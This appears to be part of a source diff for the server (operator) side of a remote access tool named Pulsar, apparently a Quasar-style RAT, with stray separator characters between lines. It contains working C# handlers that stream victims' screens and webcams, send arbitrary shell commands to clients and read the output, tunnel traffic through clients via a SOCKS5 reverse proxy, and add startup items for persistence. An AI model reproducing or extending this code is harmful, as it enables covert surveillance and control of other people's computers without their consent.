int remotePrevX = prevX * _codec.Resolution.Width / LocalResolution.Width;
|
||||
int remotePrevY = prevY * _codec.Resolution.Height / LocalResolution.Height;
|
||||
|
||||
_client.Send(new DoDrawingEvent
|
||||
{
|
||||
X = remoteX,
|
||||
Y = remoteY,
|
||||
PrevX = remotePrevX,
|
||||
PrevY = remotePrevY,
|
||||
StrokeWidth = strokeWidth,
|
||||
ColorArgb = colorArgb,
|
||||
IsEraser = isEraser,
|
||||
IsClearAll = isClearAll,
|
||||
MonitorIndex = displayIndex
|
||||
});
|
||||
}
|
||||
} private async void Execute(ISender client, GetDesktopResponse message)
|
||||
{
|
||||
_framesReceived++;
|
||||
|
||||
// Capture the FPS reported by the client
|
||||
if (message.FrameRate > 0 && message.FrameRate != _lastReportedFps)
|
||||
{
|
||||
_lastReportedFps = message.FrameRate;
|
||||
Debug.WriteLine($"Client-reported FPS updated: {_lastReportedFps}");
|
||||
}
|
||||
|
||||
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
|
||||
Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Client-reported FPS: {(_lastReportedFps > 0 ? _lastReportedFps.ToString("F1") : "N/A")}, Frames received: {_framesReceived}");
|
||||
_framesReceived = 0;
|
||||
_performanceMonitor.Restart();
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
|
||||
}
|
||||
|
||||
if (message.Image != null)
|
||||
{
|
||||
long size = message.Image.LongLength;
|
||||
Interlocked.Exchange(ref _lastFrameBytes, size);
|
||||
Interlocked.Add(ref _accumulatedFrameBytes, size);
|
||||
Interlocked.Increment(ref _frameBytesSamples);
|
||||
}
|
||||
|
||||
using (var ms = new MemoryStream(message.Image))
|
||||
{
|
||||
try
|
||||
{
|
||||
var decoded = _codec.DecodeData(ms);
|
||||
if (decoded != null)
|
||||
{
|
||||
EnsureLocalResolutionInitialized(decoded.Size);
|
||||
OnReport(decoded);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error decoding frame: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
message.Image = null;
|
||||
|
||||
long serverTimestamp = Stopwatch.GetTimestamp();
|
||||
_frameTimestamps.Enqueue(serverTimestamp);
|
||||
|
||||
if (_framesReceived % _fpsCalculationWindow == 0)
|
||||
{
|
||||
double elapsedSeconds = _performanceMonitor.Elapsed.TotalSeconds;
|
||||
_estimatedFps = _framesReceived / elapsedSeconds;
|
||||
|
||||
if (_framesReceived >= 100)
|
||||
{
|
||||
_framesReceived = 0;
|
||||
_performanceMonitor.Restart();
|
||||
}
|
||||
}
|
||||
|
||||
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
|
||||
|
||||
Interlocked.Decrement(ref _pendingFrames);
|
||||
}
|
||||
|
||||
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 8))
|
||||
{
|
||||
await RequestMoreFramesAsync();
|
||||
}
|
||||
}
|
||||
|
||||
private void EnsureLocalResolutionInitialized(Size fallbackSize)
|
||||
{
|
||||
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var current = LocalResolution;
|
||||
if (current.Width <= 0 || current.Height <= 0)
|
||||
{
|
||||
LocalResolution = fallbackSize;
|
||||
}
|
||||
}
|
||||
|
||||
private async Task RequestMoreFramesAsync()
|
||||
{
|
||||
if (!await _frameRequestSemaphore.WaitAsync(10))
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
int batchSize = _defaultFrameRequestBatch;
|
||||
|
||||
if (_estimatedFps > 40)
|
||||
batchSize = 20;
|
||||
else if (_estimatedFps > 30)
|
||||
batchSize = 15;
|
||||
else if (_estimatedFps > 20)
|
||||
batchSize = 10;
|
||||
else if (_estimatedFps > 10)
|
||||
batchSize = 5;
|
||||
else
|
||||
batchSize = 3;
|
||||
|
||||
Debug.WriteLine($"Requesting {batchSize} more frames (estimated FPS: {_estimatedFps:F1})");
|
||||
Interlocked.Add(ref _pendingFrames, batchSize);
|
||||
|
||||
_client.Send(new GetDesktop
|
||||
{
|
||||
CreateNew = false,
|
||||
Quality = _codec?.ImageQuality ?? 75,
|
||||
DisplayIndex = _codec?.Monitor ?? 0,
|
||||
Status = RemoteDesktopStatus.Continue,
|
||||
IsBufferedMode = true,
|
||||
FramesRequested = batchSize
|
||||
});
|
||||
}
|
||||
finally
|
||||
{
|
||||
_frameRequestSemaphore.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMonitorsResponse message)
|
||||
{
|
||||
OnDisplaysChanged(message.Number);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_frameRequestSemaphore?.Dispose();
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
using System;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.RemoteShell;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote shell.
|
||||
/// </summary>
|
||||
public class RemoteShellHandler : MessageProcessorBase<string>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote shell handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will command errors.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="errorMessage">The error message.</param>
|
||||
public delegate void CommandErrorEventHandler(object sender, string errorMessage);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a command writes to stderr.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event CommandErrorEventHandler CommandError;
|
||||
|
||||
/// <summary>
|
||||
/// Reports a command error.
|
||||
/// </summary>
|
||||
/// <param name="errorMessage">The error message.</param>
|
||||
private void OnCommandError(string errorMessage)
|
||||
{
|
||||
SynchronizationContext.Post(val =>
|
||||
{
|
||||
var handler = CommandError;
|
||||
handler?.Invoke(this, (string)val);
|
||||
}, errorMessage);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public RemoteShellHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoShellExecuteResponse resp:
|
||||
Execute(sender, resp);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a command to execute in the remote shell of the client.
|
||||
/// </summary>
|
||||
/// <param name="command">The command to execute.</param>
|
||||
public void SendCommand(string command)
|
||||
{
|
||||
_client.Send(new DoShellExecute {Command = command});
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShellExecuteResponse message)
|
||||
{
|
||||
if (message.IsError)
|
||||
OnCommandError(message.Output);
|
||||
else
|
||||
OnReport(message.Output);
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Dispose()
|
||||
{
|
||||
CommandError = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.Webcam;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote webcam.
|
||||
/// </summary>
|
||||
public class RemoteWebcamHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming webcam frames.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether the remote webcam is using buffered mode.
|
||||
/// </summary>
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _sizeLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution, see <seealso cref="LocalResolution"/>.
|
||||
/// </summary>
|
||||
private Size _localResolution;
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This property is thread-safe.
|
||||
/// </remarks>
|
||||
public Size LocalResolution
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
return _localResolution;
|
||||
}
|
||||
}
|
||||
set
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
_localResolution = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle display changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="value">All currently available displays.</param>
|
||||
public delegate void DisplaysChangedEventHandler(object sender, string[] value);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a display changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event DisplaysChangedEventHandler DisplaysChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed displays.
|
||||
/// </summary>
|
||||
/// <param name="value">All currently available displays.</param>
|
||||
private void OnDisplaysChanged(string[] value)
|
||||
{
|
||||
SynchronizationContext.Post(val =>
|
||||
{
|
||||
var handler = DisplaysChanged;
|
||||
handler?.Invoke(this, (string[])val);
|
||||
}, value);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote webcam handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// The video stream codec used to decode received frames.
|
||||
/// </summary>
|
||||
private UnsafeStreamCodec _codec;
|
||||
|
||||
// buffer parameters
|
||||
private readonly int _initialFramesRequested = 5; // request 5 frames initially
|
||||
private readonly int _defaultFrameRequestBatch = 3; // request 3 frames at a time now on
|
||||
private int _pendingFrames = 0;
|
||||
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
|
||||
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch(); private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
|
||||
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
|
||||
|
||||
private readonly Stopwatch _performanceMonitor = new Stopwatch();
|
||||
private int _framesReceived = 0;
|
||||
private double _estimatedFps = 0;
|
||||
|
||||
private long _accumulatedFrameBytes = 0;
|
||||
private int _frameBytesSamples = 0;
|
||||
private long _lastFrameBytes = 0;
|
||||
|
||||
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
|
||||
public double AverageFrameSizeBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
long total = Interlocked.Read(ref _accumulatedFrameBytes);
|
||||
int count = Volatile.Read(ref _frameBytesSamples);
|
||||
return count > 0 ? (double)total / count : 0.0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stores the last FPS reported by the client.
|
||||
/// </summary>
|
||||
private float _lastReportedFps = -1f;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the last FPS reported by the client, or estimated FPS if not available.
|
||||
/// </summary>
|
||||
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteWebcamHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public RemoteWebcamHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_performanceMonitor.Start();
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetWebcamResponse || message is GetAvailableWebcamsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetWebcamResponse frame:
|
||||
Execute(sender, frame);
|
||||
break;
|
||||
case GetAvailableWebcamsResponse m:
|
||||
Execute(sender, m);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearTimeStamps()
|
||||
{
|
||||
while (_frameTimestamps.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="quality">The quality of the remote webcam frames.</param>
|
||||
/// <param name="display">The display to receive frames from.</param>
|
||||
public void BeginReceiveFrames(int quality, int display)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = true;
|
||||
_codec?.Dispose();
|
||||
_codec = null;
|
||||
|
||||
// Reset buffering counters
|
||||
_pendingFrames = _initialFramesRequested;
|
||||
ClearTimeStamps();
|
||||
_framesReceived = 0;
|
||||
_frameReceiptStopwatch.Restart();
|
||||
|
||||
// Start in buffered mode
|
||||
_client.Send(new GetWebcam
|
||||
{
|
||||
CreateNew = true,
|
||||
Quality = quality,
|
||||
DisplayIndex = display,
|
||||
Status = RemoteWebcamStatus.Start,
|
||||
IsBufferedMode = IsBufferedMode,
|
||||
FramesRequested = _initialFramesRequested
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving frames from the client.
|
||||
/// </summary>
|
||||
public void EndReceiveFrames()
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
|
||||
Debug.WriteLine("Remote webcam session stopped");
|
||||
|
||||
_client.Send(new GetWebcam { Status = RemoteWebcamStatus.Stop });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshDisplays()
|
||||
{
|
||||
Debug.WriteLine("Refreshing displays");
|
||||
_client.Send(new GetAvailableWebcams());
|
||||
} private async void Execute(ISender client, GetWebcamResponse message)
|
||||
{
|
||||
_framesReceived++;
|
||||
|
||||
// Capture client-reported FPS if available
|
||||
if (message.FrameRate > 0)
|
||||
{
|
||||
_lastReportedFps = message.FrameRate;
|
||||
}
|
||||
|
||||
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
|
||||
Debug.WriteLine($"Client FPS: {_lastReportedFps:F1}, Estimated FPS: {_estimatedFps:F1}, Frames received: {_framesReceived}");
|
||||
_framesReceived = 0;
|
||||
_performanceMonitor.Restart();
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
|
||||
}
|
||||
|
||||
if (message.Image != null)
|
||||
{
|
||||
long size = message.Image.LongLength;
|
||||
Interlocked.Exchange(ref _lastFrameBytes, size);
|
||||
Interlocked.Add(ref _accumulatedFrameBytes, size);
|
||||
Interlocked.Increment(ref _frameBytesSamples);
|
||||
}
|
||||
|
||||
using (var ms = new MemoryStream(message.Image))
|
||||
{
|
||||
try
|
||||
{
|
||||
var decoded = _codec.DecodeData(ms);
|
||||
if (decoded != null)
|
||||
{
|
||||
EnsureLocalResolutionInitialized(decoded.Size);
|
||||
|
||||
// PASS THE DECODED FRAME DIRECTLY TO UI
|
||||
OnReport(decoded); // do not clone or dispose decoded
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error decoding frame: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
message.Image = null;
|
||||
|
||||
long timestamp = message.Timestamp;
|
||||
_frameTimestamps.Enqueue(timestamp);
|
||||
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
|
||||
|
||||
Interlocked.Decrement(ref _pendingFrames);
|
||||
}
|
||||
|
||||
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 1))
|
||||
{
|
||||
await RequestMoreFramesAsync();
|
||||
}
|
||||
}
|
||||
|
||||
private void EnsureLocalResolutionInitialized(Size fallbackSize)
|
||||
{
|
||||
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var current = LocalResolution;
|
||||
if (current.Width <= 0 || current.Height <= 0)
|
||||
{
|
||||
LocalResolution = fallbackSize;
|
||||
}
|
||||
}
|
||||
|
||||
private async Task RequestMoreFramesAsync()
|
||||
{
|
||||
if (!await _frameRequestSemaphore.WaitAsync(0))
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
int batchSize = _defaultFrameRequestBatch;
|
||||
|
||||
if (_estimatedFps > 25)
|
||||
batchSize = 5;
|
||||
else if (_estimatedFps < 10)
|
||||
batchSize = 2;
|
||||
|
||||
Debug.WriteLine($"Requesting {batchSize} more frames");
|
||||
Interlocked.Add(ref _pendingFrames, batchSize);
|
||||
|
||||
_client.Send(new GetWebcam
|
||||
{
|
||||
CreateNew = false,
|
||||
Quality = _codec?.ImageQuality ?? 75,
|
||||
DisplayIndex = _codec?.Monitor ?? 0,
|
||||
Status = RemoteWebcamStatus.Continue,
|
||||
IsBufferedMode = true,
|
||||
FramesRequested = batchSize
|
||||
});
|
||||
}
|
||||
finally
|
||||
{
|
||||
_frameRequestSemaphore.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetAvailableWebcamsResponse message)
|
||||
{
|
||||
OnDisplaysChanged(message.Webcams);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_frameRequestSemaphore?.Dispose();
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.ReverseProxy;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using Pulsar.Server.ReverseProxy;
|
||||
using System;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote reverse proxy.
|
||||
/// </summary>
|
||||
public class ReverseProxyHandler : MessageProcessorBase<ReverseProxyClient[]>
|
||||
{
|
||||
/// <summary>
|
||||
/// The clients which is associated with this reverse proxy handler.
|
||||
/// </summary>
|
||||
private readonly Client[] _clients;
|
||||
|
||||
/// <summary>
|
||||
/// The reverse proxy server to accept & serve SOCKS5 connections.
|
||||
/// </summary>
|
||||
private readonly ReverseProxyServer _socksServer;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="ReverseProxyHandler"/> class using the given clients.
|
||||
/// </summary>
|
||||
/// <param name="clients">The associated clients.</param>
|
||||
public ReverseProxyHandler(Client[] clients) : base(true)
|
||||
{
|
||||
_socksServer = new ReverseProxyServer();
|
||||
_clients = clients;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse ||
|
||||
message is ReverseProxyData ||
|
||||
message is ReverseProxyDisconnect;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender));
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case ReverseProxyConnectResponse con:
|
||||
Execute(sender, con);
|
||||
break;
|
||||
case ReverseProxyData data:
|
||||
Execute(sender, data);
|
||||
break;
|
||||
case ReverseProxyDisconnect disc:
|
||||
Execute(sender, disc);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the reverse proxy server using the given port.
|
||||
/// </summary>
|
||||
/// <param name="port">The port to listen on.</param>
|
||||
public void StartReverseProxyServer(ushort port)
|
||||
{
|
||||
_socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
|
||||
_socksServer.OnUpdateConnection += socksServer_onUpdateConnection;
|
||||
_socksServer.StartServer(_clients, "0.0.0.0", port);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the reverse proxy server.
|
||||
/// </summary>
|
||||
public void StopReverseProxyServer()
|
||||
{
|
||||
_socksServer.Stop();
|
||||
_socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
|
||||
_socksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
|
||||
}
|
||||
|
||||
private void Execute(ISender client, ReverseProxyConnectResponse message)
|
||||
{
|
||||
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
|
||||
socksClient?.HandleCommandResponse(message);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, ReverseProxyData message)
|
||||
{
|
||||
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
|
||||
socksClient?.SendToClient(message.Data);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, ReverseProxyDisconnect message)
|
||||
{
|
||||
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
|
||||
socksClient?.Disconnect();
|
||||
}
|
||||
|
||||
void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
|
||||
{
|
||||
OnReport(_socksServer.OpenConnections);
|
||||
}
|
||||
|
||||
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
|
||||
{
|
||||
OnReport(_socksServer.OpenConnections);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
StopReverseProxyServer();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.StartupManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with remote startup tasks.
|
||||
/// </summary>
|
||||
public class StartupManagerHandler : MessageProcessorBase<List<StartupItem>>
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this startup manager handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="StartupManagerHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public StartupManagerHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetStartupItemsResponse items:
|
||||
Execute(sender, items);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the current startup items.
|
||||
/// </summary>
|
||||
public void RefreshStartupItems()
|
||||
{
|
||||
_client.Send(new GetStartupItems());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes an item from startup.
|
||||
/// </summary>
|
||||
/// <param name="item">Startup item to remove.</param>
|
||||
public void RemoveStartupItem(StartupItem item)
|
||||
{
|
||||
_client.Send(new DoStartupItemRemove {StartupItem = item});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds an item to startup.
|
||||
/// </summary>
|
||||
/// <param name="item">Startup item to add.</param>
|
||||
public void AddStartupItem(StartupItem item)
|
||||
{
|
||||
_client.Send(new DoStartupItemAdd {StartupItem = item});
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetStartupItemsResponse message)
|
||||
{
|
||||
OnReport(message.StartupItems);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.SystemInfo;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote system information.
|
||||
/// </summary>
|
||||
public class SystemInformationHandler : MessageProcessorBase<List<Tuple<string, string>>>
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this system information handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="SystemInformationHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public SystemInformationHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender client) => _client.Equals(client);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetSystemInfoResponse info:
|
||||
Execute(sender, info);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the system information of the client.
|
||||
/// </summary>
|
||||
public void RefreshSystemInformation()
|
||||
{
|
||||
_client.Send(new GetSystemInfo());
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetSystemInfoResponse message)
|
||||
{
|
||||
OnReport(message.SystemInfos);
|
||||
|
||||
// TODO: Refactor tooltip
|
||||
//if (Settings.ShowToolTip)
|
||||
//{
|
||||
// var builder = new StringBuilder();
|
||||
// for (int i = 0; i < packet.SystemInfos.Length; i += 2)
|
||||
// {
|
||||
// if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
|
||||
// {
|
||||
// builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]);
|
||||
// }
|
||||
// }
|
||||
|
||||
